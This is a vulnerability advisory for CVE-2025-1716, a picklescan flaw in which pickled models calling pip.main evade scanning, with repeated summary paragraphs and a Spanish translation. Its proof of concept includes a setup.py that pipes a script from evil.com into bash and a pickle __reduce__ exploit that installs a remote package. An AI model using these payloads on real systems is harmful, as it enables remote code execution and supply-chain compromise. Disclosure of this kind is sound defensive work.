CVE-2025-1716

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.

### CVE-2025-1716 ### Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation. ### Details Pickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans. The payload executes the following steps: 1. During unpickling, it calls pip.main() to install a malicious PyPI package. 2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks. 3. Execution is silent, with minimal logging to avoid detection. ### PoC Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point. Example malicious `setup.py` ``` from setuptools import setup import os os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script setup( name="rsac-demo-package", version="0.1", packages=["rsac_demo"], install_requires=[], ) ``` Upload it to PyPI or host on GitHub. Step 2: Exploit via Pickle ``` import pickle import pip class Exploit: def __reduce__(self): return pip.main, ( ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q', '--exists-action', 'i', '--isolated'], ) malicious_pickle = pickle.dumps(Exploit()) # Simulating deserialization attack pickle.loads(malicious_pickle) ``` This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file. ### Impact Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect. ### Recommended Fixes Add `"pip": "*"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)

Las versiones anteriores a la versión 0.0.21 de picklescan no tratan a 'pip' como una variable global insegura. Un atacante podría manipular un modelo malicioso que use Pickle para incorporar un paquete PyPI malicioso (alojado, por ejemplo, en pypi.org o GitHub) a través de `pip.main()`. Debido a que pip no es una variable global restringida, el modelo, al analizarse con picklescan, pasaría los controles de seguridad y parecería ser seguro, cuando en realidad podría resultar problemático.